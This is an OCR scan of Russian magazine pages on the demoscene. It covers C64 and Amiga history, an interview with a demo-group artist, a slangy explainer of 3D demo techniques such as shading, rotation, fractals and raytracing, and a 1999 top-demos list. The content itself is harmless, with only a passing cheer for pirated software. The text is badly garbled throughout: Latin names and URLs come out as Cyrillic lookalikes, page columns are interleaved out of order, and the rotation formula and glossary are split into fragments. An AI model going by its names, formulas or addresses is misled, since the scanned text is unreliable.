и сохранившийся разве что в виде эмуляторов). 






Сегодня даже трудно вообразить себе, каких невероят- 
ных усилий стоило в то время на таких компах создание 
хотя бы простых “демок”. Еще не было развитой сети 
ВВ8, Интернет еще не опутал всю планету... неоткуда 
было ждать помощи, короче, не у кого было попросить 
совета. Приходилось коротать ночи наедине с компью- 
тером в попытках изучить странный язык ассемблер. На 
встроенном бейсике, ясер арафат, далеко не убежишь. 
Даже простая заливка экрана могла занять целую мину- 
ту, а ну о более серьезных вещах говорить и вовсе не 
приходилось. Никаких графических редакторов еще не 
существовало - их еще предстояло написать. Да и вооб- 
ще, из необходимого инструментария не было ничего, 
только сам компьютер, пиво да голова. В те годы никто 
не говорил о “демо-мэйкерах” - красочные картинки и 
заставки были лишь побочным продуктом деятельности 
программеров-любителей. Да, именно программеров, и 
работы их часто были интересны не столько с позиции 
изобразительного искусства (чаще они были “кальками” 
с работ великих мастеров), сколько с позиции мерила 
крутости программиста и его умения разбираться с ре- 
гистрами и командами процессора, чтобы втиснуть в 
скромные ресурсы как можно больше графики и анима- 
ции. Все что делалось - делалось исключительно ради 
собственного удовлетворения и удовольствия. Многие 
работы и вовсе не были показаны никому, кроме себя - 
сетей же в то время практически не существовало. 

Но мир на месте не стоял. К концу восьмидесятых ситуа- 
ция стала меняться. С появлением ВВ8 в компьютерном 
мире появилось такое неприятное явление, как плагиат. 
Стоило только скачать несколько демок, объединить их 
в одну, немного измененную под свой вкус, и, кончено 
же, вписать собственное имя такими большими буквами 
на переднем плане. Очень скоро появились мегабайты 
демок, на которые было противно смотреть - мало того, 
что они копировали уже приевшиеся фичи, но и свали- 
вали в одну кучу все, что только попадалось автору под 
руку. От этой пестрой палитры только рябило в глазах. 
Никаких чувств ЭТО в душе не вызывало - автору (мож- 
но его так назвать?) было нечего сказать, он ничего не 



хотел выразить этой работой. И все затеяно-то было 
лишь ради желания показать всему миру собственное 
имя. Реальным программистам же в этом болоте день 
ото дня становилось невыносимо душно. Хорошие рабо- 
ты приходилось буквально “вылавливать” среди тысяч 
дерьмовеньких однодневок. А после появления различ- 
ных редакторов и других тулзов для демо-мейкинга на- 
писание демки (состоящей, разумеется, из готовых “ку- 
биков”) занимало и вовсе пару- другую минут. И потекли 
гигабайтовые реки сорного мусора, в мутной воде кото- 
рого задыхались действительно достойные работы. За- 
дыхались потому, что любой юзер, заходя на ВВ8, видел 
громадный список демок. Скачивал несколько из них 
наугад и... Посмотрев эти потуги, уже не горел жела- 
нием смотреть ничего вообще. Даже телек. Между тем 
аппаратные ресурсы С64 уже начинали хватать за горло, 
и мир его поклонников таял на глазах. Это был закат его 
культуры, в которой так и не прозвучала ни одна лебе- 
диная песня. 

Те, кто стоял у истоков этой культуры, уходили теперь на 
новые земли.... 



АМІ6А 



Атіда появилась в 1988 году. По тем временам она тя- 
нула на “полупрофессиональный компьютер”. Еще бы, 
модная память (в идеале до 512 килобайт), цифровой 
музон, мощный процессор... Разве могло это сравнить- 
ся со старичком С64? И программисты ринулись ос- 
ваивать новую целину. Предстояло сделать много, 
очень много. 




Прошло некоторое количество времени, и появились 
первые музыкальные трекеры, а вместе с ними и тоб 
файлы. Это привлекло к Амиге людей, совершенно 
не разбирающихся в программировании, но знаю- 
щих толк в музыке. И Амига зазвучала... Музицирую- 
щий компьютер - по тем временам это было нечто 
потрясающее! 

Демо-сцена на Амиге постепенно обрела привычное 
для нас представление и мало изменилась за прошед- 
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не один человек, а целый коллектив - музыкант, ху- 
дожник, кодер и дизайнер (это минимум). 

Конечно, кто-то мог совмещать в себе две или более 
специализаций, но это случалось редко. И без того 
каждому приходилось много знать и иметь незауряд- 
ную эрудицию. Амига была достаточно мощным ком- 
пьютером, и это во всю использовалось для создания 
первой трехмерной графики. Такая привычная сейчас 
- она была тогда в новинку. Прежде всего, не сущес- 
твовало в доступном виде эффективных алгоритмов 
рендеринга и отсечения лучей. Их предстояло ком- 
пьютерщикам придумать самостоятельно. Но приду- 
мать - это только полдела, ведь прежде чем они ожи- 
вут, их нужно запрограммировать! Требовалось нече- 
ловеческое терпение, чтобы реализовать это на ас- 
семблере. Мощности остальных языков, существую- 
щих на Амиге, не хватало. Ни Форт, ни Фортран, ни 
даже Си не могли справиться с такими задачами. 
Поэтому написание одной демы занимало один, а ча- 
ще и два-три месяца. Но зато все написанное стано- 
вилось шедевром. Красивая графика, оригинальные 
цветовые решения, музыка, идеально вписывающаяся 
в общий план... Мир на экране, созданный руками че- 
ловека... Программисты и математики не щадили се- 
бя, и скоро “проволочные каркасы” оделись в градиен- 
тную заливку, а потом и вовсе покрылись текстурами. 
Разработчики Амиги, кстати, тоже не стояли в это вре- 
мя на месте и занимались совершенствованием свое- 
го детища. Но, увы... это не кончилось ничем хоро- 
шим. Во всяком случае, для демо-сцены. Вновь набе- 
жали толпы плагиаторов, которые выхватывали гото- 
вые демы и переделывали их по-своему. Без малей- 
ших навыков и представлений об искусстве. Исто- 
рия повторялась... 

Но неожиданно фирма “Амига”... обанкротилась. И 
большинство производителей поддерживать эту мо- 
дель компьютера отказалось. Почему? Рынок требовал 
“серьезных” машин, а за “Амигой” прочно укрепилась 
репутация игровой платформы. Да и выполнена она 
была, скорее, как игрушка, а не серьезный компьютер. 
Поэтому фирме ІВМ ничего не стоило перехватить 
пальму первенства, хотя она значительно уступала 
“Амиге” по всем позициям. История играет по своим 
правилам, и с 1993 года об “Амиге” упоминали все ре- 
же и реже, хотя мы до сих пор пользуемся ее насле- 
дием. Это и знаменитые тоб файлы, и алгоритмы 
эффектов пламени, снега, дождя... Наконец, не осты- 
вающие сердца поклонников и приверженцев, которые 
до сих пор сохранили эту машину и даже иногда ра- 
ботают на ней. Время от времени, чтобы не забыть 
свою молодость... 



А теперь? 



=Е 




Ух, аж слезу пробило. Молодость, молодость... А чего 
теперь? Теперь тоже всё, вроде, неплохо. РС, как ты 
знаешь, оказался мощной платформой, и практически 
все демщики работают сейчас на нем. Но если уж ка- 
кого-нибудь старпера пропирает, и он достает с ан- 
тресолей старенькую Амигу - мы его за это не осудим. 
Были ж времена. Придет день, и ты с ностальгией в 
голосе скажешь: эх, вот у меня был комп - Р-3, так это 
было круто по тем временам. Но это будет потом, а 
прямо сейчас - смотайся, мой тебе совет, в ларек, 
возьми пивка и - за упокой первых демо-компьютеров. 
Коммодор 64 и Амига. Спите спокойно. 
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ипд - в своих кругах человек извес- 
тный, авторитетный. Экс-лидер демо- 
группы ХРГ, о которой до сих пор ле- 
генды ходят. Встретился я с ним, 
впрочем, случайно, как это и бывает 
обычно с хорошими людьми. Встре- 
тился, стало быть, и давай его пытать вопросами о де- 
мо-сцене. Что да как, да почему... Все, что он расска- 
зал мне - у тебя перед глазами. 

X: - Расскажи, как ты всем этим начал зани- 
маться. 

І_: - Ну, я насмотрелся на всякие буржуйские дела и... В 



общем, была в 95 году такая дырка халявная Инетовская. 
Там через нее вообще ничего было нельзя делать, урлы 
нельзя было набирать, можно было только по ссылкам 
ходить, в досмоде, естественно, через терминалу обыч- 
ную. Так я первый месяц по чатам, второй - по всякому 
софту, ну а потом, в поисках вареза, напоролся на демо- 
сайты. Заинтересовался. 

X: - А как появилась твоя собственная груп- 
па? 

1_: - Ну, как оно обычно бывает - банда человек в 20 
собирается, кто на ІРС либо через е-майл знако- 
мятся, просто люди совершенно из разных мест, 



друг друга, естественно, никогда не видевшие, и не 
знающие, кто есть кто... 

X: - То есть, бывает, что люди из одной группы 
друг друга не видят вообще? 

І_: - Ну, как бы те люди, которые поблизости живут, пы- 
таются собраться, а вообще - по большому счету - чем 
меньше людей знаешь, из тех, с кем работаешь, тем луч- 
ше. Если нет личных отношений, группа эффективней ра- 
ботает. Сцена у нас в стране появилась где-то в 95-м, в 
конце года, когда более-менее Инет появился и появи- 
лась возможность по городам через удаленный доступ 
общаться. Потом стали новые люди появляться, Инета 
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стало намного больше, то есть появилась возможность 
добывать всякий свежак, смотреть, что в Инете творится. 
Соответственно, появились группы по различным направ- 
лениям: демо-сцена как таковая, то есть программиро- 
вание, демки и прочая лабуда, она как бы появилась сра- 
зу же после появления вареза, потом параллельно появи- 
лась и музыкальная сцена, вот, а в самом конце поя- 
вилась арт-сцена, представителем которой я и являюсь. 



X: - Группа, с которой 
ты сейчас работаешь - 
это твоя первая и пос- 
ледняя группа? 

І_: - Не, ну моя первая и 
последняя группа НРО бла- 
гополучно умерла с полгода 
назад, туда им и дорога 
соответственно. Сейчас 
группа, для которой я ри- 
сую хай-рез, называется 
Асісі - самая первая, самая 
старая арт-группа, они су- 
ществуют уже 10 лет. Она не наша, зародилась в Штатах, 
сейчас там порядка 50 человек из всяких серьезных 
стран. Из Европы люди есть, из Австралии, из Америки - 
из Африки, разве что, никого нет. А насчет текстмод-арт, 
которым я все еще занимаюсь - это моя группа 0А12А, 
которую я создал где-то полгода назад, там в основном 
как бы европейцы плюс русские. Русские - это люди из 
Орла, из Питера, из Москвы, из разных мест, короче. Со- 
бираемся в Инете раз в месяц, собираем работы со всех, 
кто чего нарисовал... 

X: - Погоди: ты сказал - НРС умерла. А отчего 
умирает демо-группа? 

І_: - Оттого, что лидер не может заниматься группой 
столько, сколько необходимо. То есть появляется 
серьезная работа или подруга, или женится человек, не 
успевает делегировать свои полномочия, научить кого- 
то более молодого, сам уходит, режиссура вся исче- 
зает, группа вся останавливается и, в конце концов, 
пропадает. То есть это, как правило, типовая ситуация. 
Или люди в группе ссорятся. Но это случается тогда - 
когда личные отношения доминируют в жизни группы. 
Этого лучше не допускать. 

X: - Ты упомянул обучение молодого поколения. А 
сам как учишься этому? Откуда получаешь инфу 
про новые технологии? 

І_: - Знаешь, я считаю, что за технологиями надо следить, 
технологиям соответствовать, то есть надо раскапывать 
все то, что происходит, что выставляют разработчики 
всех этих моментов. Демки под глайд, ЗЭЬс-ы и про- 
чую лабуду - они рассчитаны просто на визуализацию, 
где работы больше художникам, музыкантам, нежели ко- 
дерам. Но это, в принципе, на мой взгляд, поддерживает 
движение, потому что если бы все до сих пор кодили на 



АСМе, как и раньше, мы бы не успевали за развитием 
технологий. Нет, надо постоянно куда-то двигаться, ис- 
пользовать какие-то новые фишки... 

X: - А на развитие, на закупку литературы с Ама- 
зона, на работу - на все это деньги нужны, так? 

І_: - Да, нужны, конечно. Все за свои хобби расплачивают- 
ся. Девочек по ресторанам водить - тоже деньги нужны. 
На самом деле компы у всех есть, все зависит от того, как 
они их пользуют. Есть у 



Ну, как оно обычно бывает - 
банда человек в 20 собирает- 
ся, кто на ІРС либо через е- 
майл знакомятся, просто люди 
совершенно из разных мест, 
друг друга, естественно, ни- 
когда не видевшие. 



человека Спекгрум - ра- 
ди Бога, он на спектру- 
мовской сцене, и ему ни- 
чего не нужно. Занимает- 
ся чел программирова- 
нием обычным - он будет 
сидеть на своей четверке, 
и у него все на асме будет 
работать так же замеча- 
тельно, как и у всех ос- 
тальных. То есть человек 
занимается по большому 
счету тем, на что ему хватает денег, тем, что у него как бы 
заложено изначально. Ну а вообще - пиратам спасибо 
за то, что на многие вещи минимизируют расходы :). 

X: - А если не секрет, твой личный основной ис- 
точник дохода? 

І_: - Дизайн за деньги. На себя работаю. У меня в планах 
в ближайшее время зарегистрировать свою контору по 
той же специализации. А началось все с арт-сцены. 

X: - Ну а вот ты перетечешь в коммерческую сфе- 
ру. А это не угробит твое увлечение сценой? 

І_: - Ты знаешь, потихонечку уже гробит. Я пытаюсь тра- 
тить на сцену некоторое количество времени, потому что 
мне все это близко, как бы для меня важно, и я прекрас- 
но понимаю, что сцена из меня сделала человека, 
чем я был и кем я стал, и забрасывать это дело не хочет- 
ся. Более того, я купил себе домен зсепе.ш и соби- 
раюсь на нем выкладывать всякую инфу о сцене. Я хотел 
этим заняться гораздо раньше, но что-то в последнее 
время столько работы - просто не успеваю. 

X: - Это будет ресурс именно о демо-сцене? 

І_: - 0 сцене как таковой. Там будет несколько разделов: 
демо, музыка, арт, ну и если господа пираты или ха- 
керы согласятся сделать нечто по андеграундной 
сцене, то есть если какой-нибудь человек загорится, 
чтобы выпускать какие-то новости, это будет совершен- 
но замечательно. 

X: - А вот теперь вопрос по поводу новых людей: 
чел прочтет этот текст и скажет: “Ну все, у меня 
были свои какие-то задумки, и теперь надо сроч- 
но искать контакт...” Что ему делать? 

І_: - Видишь ли, с этим самая большая проблема, потому 



что новичков довольно-таки много, а люди, которые на 
сцене существуют давно - они с ними общаются не очень 
хорошо, и, коль скоро получается не у всех все сразу как 
надо, новичков начинают потихонечку опускать... 

X: - Ну, стало быть, новым людям контачить с ва- 
ми тяжело? 

І_: - Новым людям - да, это как бы понятно, но я, к сожа- 
лению, толком с этим ничего поделать не могу. Даже ког- 
да ко мне подходит молодой человек, у меня не всегда 
есть время, не всегда есть настроение и возможность 
разбираться с кем-то, разговаривать, и все это очень 
неприятно. Но на самом деле в будущем, на зсепе.ш, я 
очень плотно думаю заняться этим вопросом, создать 
место, где новички могли бы как-то что-то кинуть, пока- 
зать всем (и друг другу). Планирую там сделать какие-то 
модерируемые темы для обсуждения, чтобы людям что- 
то посоветовали. Это довольно трепетный момент, то ес- 
ть я чувствую, что в последнее время народу на сцене все 
меньше и меньше, и если дело так дальше пойдет - сце- 
на умрет, а мне этого совсем не хочется. То, что от меня 
зависит - я сделаю. Слава Богу, у меня достаточно много 
связей, знакомств и известности для того, чтоб подобны- 
ми делами заняться. Хотя все это на самом деле сложно, 
но я считаю, что все в конце концов будет хороикГд"" 
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теперь лишь как бесплатное приложение к куне полиго- 
нов. Понятное дело, я не буду гнать тебе стандартную 
лажу о монстровых эффектах, содранную с Реасіог 
СгійсаІ, которую так любят другие журналы. Мы пойдем 
другим путем на... в... в общем, другим путем пойдем. 



1 □ миллионов и 
1 вопрос про это 



Для затравочки несколько слов о том, почему мы все, 
собственно, молимся на полигональную графику. Пред- 



Ш х, как же все было здорово еще каких- 
то лет шесть назад! Что означают сло- 
ва “билинейная фильтрация текстур” 
и “альфа блендинг”, знал лишь старик 
Ромеро, выпивавший в ту пору с приятелем из Силико- 
новых Графиксов. ОрепСІ_ в начале 90-х был благопо- 
лучно утвержден и еще более благополучно забыт веду- 
щими разработчиками софта для РС. Потому как нор- 



мальным компьютером считалось только что-то очень 
большое и плавающее в жидком азоте, а не этот каль- 
кулятор с процессором І386 и мегабайтом видеопамя- 
ти. Писишных демщиков было раз, два и... в общем-то 
и все, но какие это были демщики! Слабо тебе, напри- 
мер, минут 10 мучить зрителей появлением текстовых 
надписей вроде “только сейчас”, “впервые в истории”, 
“гипер-транс-мега-позитронный эффект, просчитывае- 



мый в реальном времени”, а затем вывести на экран 
одноцветный вращающийся кубик? Да-с, пельмень, бы- 
ли времена. Но однажды передовик трехмерного труда, 
контора со скромным названием ісі Зойѵѵаге выпустила 
игру ОооМ, и увидели люди, что 30-графика - это хоро- 
шо. А затем выпустила эта же контора игру Оиаке, и 
увидели люди, что полигональная графика - это благос- 
ловение Божие. И воплотился в человеческом облике 
сын Его, живущего во веки веков. И назвался 30Ь( 
Іпіегасііѵе. И сказал он: гоните пиплы лавэ и будет вам 
полный ништяк и цветное освещение в реальном вре- 
мени. И пошли за ним люди. И давали лавэ. И 
ЗсШез.сот стал самым посещаемым сервером. И пи- 
сал журнал Хакер: “Даешь к первому мая миллиард тек- 
селей в секунду!”. Всемирная история, X #2. 

Да, собственно с началом бума 30-графики начался но- 
вый этап в развитии демо-мейкинга. Почти в 90% де- 
мок релиза последних двух-трех лет так или иначе при- 
сутствует полигональная 30-графика. И, я думаю, при- 
дется рассмотреть эту тему наиболее подробно, потому 
как все ОІсІЗкооГные эффекты вроде попиксельного 
морфинга, фракталов и тому подобного встречаются 
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ставь, что ты хочешь нарисовать какой-нибудь трехмер- 
ный объект. Для простоты - шар. У тебя есть формула 
шара, почерпнутая из учебника геометрии 9-го класса, 
так что чего, казалось бы, проще: вычисляй по ней в 
цикле соответствующие координаты, да проецируй все 
то дело на экран. Но так ты получишь одноцветный 
эллипс, который ни фига не катит за мазовую 30-фигу- 
ру. Как быть? Надо рисовать каждую точку шара опре- 
деленным цветом, в зависимости от ее освещенности. 
Тогда глаз распознает привычную световую закономер- 
ность и просто не просечет, что его кинули (выражаясь 
умными словами: экстраполирует объект). Освещен- 
ность рассчитывается довольно просто, по формуле 
Ламберта, взятой уже из учебника физики. В ней учи- 
тывается вектор, проведенный из точки в источник све- 
та, и вектор, перпендикулярный к поверхности шара в 
этой точке. Теперь смотри: в каждой точке нам надо 
рассчитать перпендикуляр, вектор света и подставить 
все это в формулу освещенности. А сколько на повер- 
хности твоего шара этих точек? 

Кто сказал “до задницы”? А ну, выйди из класса! Дык 
вот, на поверхности твоего шара этих точек до задницы 
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вания пока не существует. Есть, правда, крутые теории 
ѴохЕГей и ШВЗ’ов, но об их практическом примене- 
нии в демо-мейкинге чуть позже. 

Да будет свет, сказал монтер, и йенгом лампочку про- 
тер 

Вообще существует туева хуча моделей освещения, но 
в демах обычно используются только три: 

- Плоская модель освещения: здесь берут постоянную 



чале 90-х, когда вычислительные возможности РС 
просто не позволяли использовать другие модели. 

- Модель освещения Гуро: здесь освещенность рассчи- 
тывают сначала в вершинах треугольника и, в зависи- 
мости от этих значений, рассчитывают уже цвет каждой 
точки треугольника. По-умному эта фишка называет- 
ся “интерполяцией освещенности по полигону”. Бла- 
годаря этим умным словам объект становится ви- 
зуально более гладким, так как больше нет резких 





и больше! А теперь представь, что тебе надо нарисо- 
вать не шар, а утро в сосновом лесу, тогда расчеты ста- 
новятся просто нереальными. И вот однажды умные дя- 
ди придумали следующую фишку: если взять на повер- 
хности объекта небольшое число точек, составить из 
них треугольники и считать освещенность постоянной 
или ненамного изменяющейся в пределах каждого 
треугольника, то можно года за три сбацать ІІпгеаІ и 
всю жизнь получать нехилые бабки. По-умному идея 
называется “полигональная апроксимация поверхнос- 
ти”, и достойной альтернативы трехмерного моделиро- 




величину освещенности для каждого треугольника. А 
для того чтобы соседние треугольники не были уж 
слишком разного цвета, цвет каждого из них рассчиты- 
вается как усредненное значение цветов прилегающих 
вершин. Понятно, что этот способ был популярен в на- 




“Освещение по Гуро” 



изменений цвета между соседними полигонами. 

- Модель освещения Фонга: здесь, во-первых, учиты- 
вается еще и зеркальная составляющая отраженного 
света, так что объект выглядит гораздо круче, чем в 
модели Гуро: появляются классные металлические 
блики. А во-вторых, вместо освещенности интерполи- 
руют уже вектор нормали к поверхности и реально 
вычисляют освещенность в каждой точке. Результат 
получается офигительный - мы экономим ресурсы, 
так как не рассчитываем нормаль в каждой точке по- 
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лигона и в то же время считаем ее цвет. 

Но демо-мейкинг на то и демо-мейкинг, чтобы всех ки- 
дать и рассчитывать графику не по книжным правилам, 
а через, извините, жопу. Ты наверняка частенько видел 
вращающиеся бублики с рулезными бликами, под кото- 
рыми было написано “ВеаИіте РІіопд зііасісііпд”. Так 
вот знай, что тебя нагло кинули. Почти во всех демках 
ты видишь не модель Фонга, а самый обыкновенный 
метод Гуро, усовершенствованный извращенным моз- 
гом демщиков. Оно и понятно, я однажды реализовал 
реальную модель Фонга и долго наслаждался душераз- 
дирающим зрелищем со скоростью в 1 ф$. Итак, кида- 
лово может производиться двумя способами. 

Ц При использовании любой модели освещения дол- 
жна быть предварительно приготовлена градиентная 
палитра цветов, то есть каждый следующий цвет дол- 
жен быть на 1 светлее предыдущего. Демщики же рас- 
считывают в цикле каждый цвет палитры по реальной 
формуле освещенности и получают очень яркие облас- 
ти перпендикулярно источнику света. Именно эти бе- 
лые пятна твой глаз и воспринимает за блики, хотя на 
самом деле это полная лажа. 

Н Заранее рассчитывается таблица значений освещен- 
ности для какого-либо вектора света, затем для произ- 
вольного вектора осуществляют поворот и выбирают 
нужное значение из таблицы. 

I Ііке Ео гтюѵе ІС. ітюѵе ІЕ! 



И все? Все! Масштабирование выполняется точно 
таким же методом, в смысле, в учебнике ищутся 
слова “линейный оператор масштабирования” или, 
по-крестьянски, без особого выпендрежа, все коор- 
динаты точки умножаются на нужное число. 

Растекстурим - затекстурим 

Текстурирование - это тоже важная фишка, ну ты ша- 
ришь. Суть там в следующем: есть 2д картинка и 30 
объект, надо наложить картинку на поверхность объек- 
та. Для этого запоминается много страшных слов вроде 
“билинейная фильтрация”, “перспективная коррекция”, 
“попиксельный миппмэппинг” и тому подобное... Сразу 
вспоминается фраза “Нет бога, кроме ЗШх, и СІісІе - 




себя - это и есть фрактал. Нет, представь лучше теле- 
визор, который показывает только порнуху. Или нет, 
представь лучше... Гггм, на чем это я остановился? А! 
Раньше в демках частенько использовались фракталы 
Мандельброта и Жюлиа - это такие обалденные хрено- 
вины, основанные на функции комплексной перемен- 
ной. Кстати, что такое функция комплексной перемен- 
ной, тебе лучше никогда не узнавать. Суть этих демок 
заключалась в следующем: показывался исходный ри- 
сунок, а затем камера как бы приближалась к одному 
из его участков, тот постепенно опять превращался в 
исходный рисунок и так далее. Довольно часто и сей- 
час в 4КЬ интрах можно увидеть этот эффект, так как 
он относительно простой для программирования: дос- 
таточно лишь загадить одну рекурсивную функцию. 





Движение и масштабирование. Почему-то все счи- 
тают эту часть наиболее сложной, хотя, в действи- 
тельности, это самая примитивная фишка во всей 
компьютерной графике. Но, как говорится, в дей- 
ствительности все не так, как на самом деле, и без 
вращения или изменения размера объекта не обхо- 
дится ни одна дема. Любое движение объекта мож- 
но представить в виде двух последовательно выпол- 
ненных преобразований, примененных ко всем точ- 
кам объекта: переноса и вращения. Для переноса 
точки достаточно просто прибавить к ее координа- 
там необходимые составляющие вектора-переноса. 
То есть если мне надо перенести точку (х,у, 2 ) на 20 
по оси х, то я просто прибавляю 20 к координате х и 
получаю, соответственно, точку (х+20,у ,г). С пово- 
ротом же дела обстоят немного сложнее. Открываем 
учебник аналитической геометрии и ищем там фор- 
мулу линейного оператора поворота. Находим кучу 
непонятных матриц, например, для поворота точки 
вокруг оси г на угол а, там будет дан вот такой оператор: 



| соз(а) 
I 5Іп(а) 

I о 



-зіп(а) 

соз(а) 

О 



Этот бред означает, что придется последовательно 
пересчитать все координаты следующим путем: 



пророк его”. Слушай, честно говоря, меня уже сильно 
тошнит от километровых формул, относящихся к дан- 
ной теме. Да и я, вообще, после выхода вуду пипла, 
статьи о текстурировании можно было найти в любом 
журнале, включая “СООІ_ ЙЕНС” и “Вечерний Некро- 
фил”. Так что, я думаю, ты гораздо лучше меня осве- 
домлен об этой фишке. Ну а если не осведомлен, то и 
хрен с ней. Поверь, психическое здоровье дороже... 

Фекалы 

То есть, пардон, фракталы. Вообще фракталом назы- 
вается любое самоподобное множество, то есть мно- 
жество, часть которого является им же самим. Пред- 
ставь, например, телевизор, который показывает сам 



“Множество Мандельброта” 



В крутых современных демах фрактальные множес- 
тва используют обычно для моделирования различ- 
ных нелинейных природных явлений, например, 
ландшафтов или облаков. Фишка в следующем: 
представь, что нам надо нарисовать гору. Мы гово- 
рим, что гора состоит из пяти гор чуть поменьше, а 
те, в свою очередь, состоят из двадцати гор еще 
меньше, етс. А когда доходим до нужного нам уров- 
ня детализации, рисуем с освещением по Гуро мно- 
го маленьких-маленьких гор, представляющих со- 
бой пирамидки. В результате получается куча дерь- 
ма, под которой мы гордо пишем “Фрактальный 
Эверест Ьу МедаСосІег” и занимаем почетное 147 
место на ближайшей демо-пати. 



Новый х = х*соз(а)-у*зіп(а)+2*0 
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Морфинг, и с чем его едят 

Неотъемлемой частью почти любой современной демо 
является морфинг какого-либо оттекстурированного 
объекта с освещением по Фонгу. Ты можешь сделать 
супер-мега-транс-нереальную дему с рейтрейсингом в 
реальном времени, гипер-крутыми фрактальными 
эффектами и забойной музыкой. Но если в ней нет 
морфинга, то все участники демо-пати громко споют 
тебе песенку: “Такой отстой, такой отстой...”, и коли- 
чество набранных тобою баллов будет строго соответ- 
ствовать успехам футбольной команды Ямайки. Обычно 
демо-мейкеры рассматривают попиксельный и геомет- 
рический морфинг. Попиксельный ты частенько мог 
наблюдать в голливудских фильмах, когда какое-нибудь 
изображение плавно перетекает в другое. Например, 
когда Терминатор превращается в полицейского. Суть 
сей фишки состоит в сопоставлении множества пиксе- 
лей одного имаджа множеству пикселей другого, а за- 
тем с помощью алгоритмов, названных страшными сло- 
вами ѵѵагріпд, Іѵѵеепіпд и сііззоіѵіпд, происходит преоб- 
разование первоначального множества. Геометричес- 
кий же морфинг оперирует не пикселями, а вершинами 
и полигонами морфящегося объекта, но суть идеи при 
этом сохраняется. 

ѴохЕІ’и. которые были пихели 

Слово ѴохЕІ вообще расшифровывается как Ѵоіите 
РіхеІ, то есть объемный пиксел. Идея простая: трехмер- 
ный объект представляется как совокупность маленьких 
трехмерных кубиков (вокселей). Дураку ясно, что этот 
способ трехмерного моделирования гораздо круче, чем 
использование полигонов. Нем круче? (Тут Дэн надолго 
задумывается и принимается кругами ходить по комна- 
те) А ну, смотри: допустим, в игрушке у нас есть кир- 
пичная стена, составленная из полигонов: мы стреляем 
в нее из базуки, и ничего не происходит, так как стена 
- это одна плоскость, а следовательно, один или два 
полигона, так что расхреначить ее на части ни фига не 
получится. А если она составлена из вокселей? Во, тут- 
то и вся фишка: мы берем и выкидываем часть воксе- 
лей, получая в результате симпатичную дыру. Все до- 
вольны и все такое. Однако есть и другой конец палки - 
для хранения воксельных объектов нужна туева хуча ма- 




дится часть вре- 
мени для прос- 
мотра уже от- 
рен дерен н ых 
имаджей, пос- 
троенных этим 
методом. Стан- 
дартный сюжет 
для такого рода 
изображений - 
шахматная по- 
верхность, ухо- 
дящая в беско- 
нечность, на ко- 
торой валяются 
зеркальные ша- 
ры, отражающие 
все и вся.Другое 
дело - рейкас- 
тинг. В демах 




- приближение. 

- приблизительное нахождение каких- 
либо значений по уже известным. 

- то же самое, только по-другому. 

- неоднородный рациональный В-сплайн 
(стильно, да ;). 

- элемент текстуры, применяемый к данному 
фрагменту поверхности. 

- преобразование. 

- то же самое, только зву- 
чит круче :). 

- гибкая линейка. 



леньких микросхем с надписью ОІММ, потому как в 
большой стене кубиков размером 1x1 очень даже до 
ммм... много, в общем. Так что эту технологию в демах 
используют в основном только для визуализации при- 
родных ландшафтов. 



Пппяйны и ижя п ними 



Это умное слово используется тогда, когда нам, изви- 
няюсь за выражение, можно положить известный орган 
на точность представления фигуры, то есть когда нас 
интересует только приблизительный вид криволиней- 
ной поверхности. Допустим, ты хочешь исправить ошиб- 
ку разработчиков и сделать грудь Лары Крофт более 
гладкой. Можно увеличить число полигонов, отводящих- 
ся на нее, однако для получения идеальной формы тебе 
придется взять их громадное количество. При использо- 
вании же сплайнов тебе достаточно выбрать несколько 
точек на поверхности груди, а затем построить интерпо- 
ляционный полином (смотри 3.8), который и будет 
представлять приблизительную формулу груди. Стильно 
звучит, да: формула груди... Однако построение интер- 
поляционного полинома - очень трудоемкая задача, 
поэтому в демах эта фишка встречается довольно ред- 
ко, в основном лишь когда автору удается путем дикой 
оптимизации добиться нормальной скорости. 



Рейтрейсинг, мазафакинг 



Вообще, есть два различных понятия: гауігасіпд (трасси- 
ровка лучей) и гаусазііпд (обратная трассировка лучей). 
Вауігасіпд используется для построения мега-гипер- 
транс фотореалистичных изображений. Хотя, если между 
нами, то он никем на хрен не используется, потому что 
дико тооормооооозной! Скажем так, изображение 
800x600 рендерится в среднем минут 20-25. Понятно, что 
для демок скорость в 0.0006 ірз немного, как бы это по- 
лучше выразиться, а вот, НАХрЕН НЕ НУЖНА! Но, тем не 
менее, почти на 
всех крупных де- 
мо-пати отво- 



его частенько используют либо для создания трехмерных 
лабиринтов в стиле ОооМ’а, либо для построения реа- 
листичных изображений за разумное время. Суть метода 
в следующем: через пиксел экрана из камеры проводит- 
ся луч и находится его пересечение со сценой. Затем 
проводятся еще лучи в направлении источников света и 
определяется, какие источники заслонены объектами 
сцены, а какие нет. А уже потом с учетом всех получен- 
ных параметров рассчитывается освещенность точки пе- 
ресечения. 



У меня всегда имеется при себе блокнот, в который я 
записываю все когда-либо услышанные умные слова. 
Иногда бывает очень полезно прочитать пару страни- 
чек, дабы небрежно бросать потом в цивильном об- 
ществе фразы типа “Понимаешь ли, хрен мой доро- 
гой, метод перспективно-коррекционного текстуриро- 
вания основан на Гипер-ассимптотической апрокси- 
мации искомого отображения кусочно-линейными 
функциями”. Так что вот тебе несколько моих записей, 
дабы ты себя свободно чувствовал в компании излиш- 
не крутых демщиков: 
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ТОР 1 0 Д-МИ5Т-5ЕЕ 99 



Мы тут замутили с чуваками топ-лист супер-демок - ты 
просто офигеешь, когда любую из них увидишь, это 
просто секс какой-то! Нет, ну, конечно, сейчас найдут- 
ся какие-нибудь гении, которые начнут орать “Да это 
все сакс! Настоящая крутая дема - это то, что сделал я”. 
Посылай таких придурков в задницу к негру. Качай, и 
все будет круто, перец, получай удовольствие! Почти 
все вещи из нашего супер-топ-листа ты сможешь най- 
ти на сервере Йр://сІето.саІ!іи/. Войди в директорию 
бето’99, а затем выбери искомую демо-пати и нужную 
фишку. 



команда демо-пати 



Ѵігііе Маіиге Ригк 
Ігапзсепсіепіаі аигит 
5і§п оТТ Вирегзііііоп 
Кіиіи ТВІ і 
ріапеі зиЬоіпі к ВиЬигЬап 
ѵоісі таіп ТМВ 
Уите 2000 Ш 
Мі псі Сопігоі Ргосгеаііоп 
2іІо§ ВипРІоѵіег 
МасІпезБ Огіоп 



АББетЫу ’ 99 
АББетЫу ’ 99 
АтЫепсе’99 
Ріиіопі ит ’ 99 
Мекка’ 99 
Оето Рагіу’99 
ТІіе СаИіегіп§’99 
АпаІо§ие’99 
Сгаѵііу’99 
Такеоѵег 



А ещё десяток интр, которые ты, сто пудов, должен уви- 
деть, чтобы получить свое супер-пупер мега-сексуаль- 
ное удовольствие. 



С-СІІВЕ МАШХ 
го_Ьои коота 
РиЫіс ОетапсІ Ригріе 
Е330 5ирег5ііііоп 
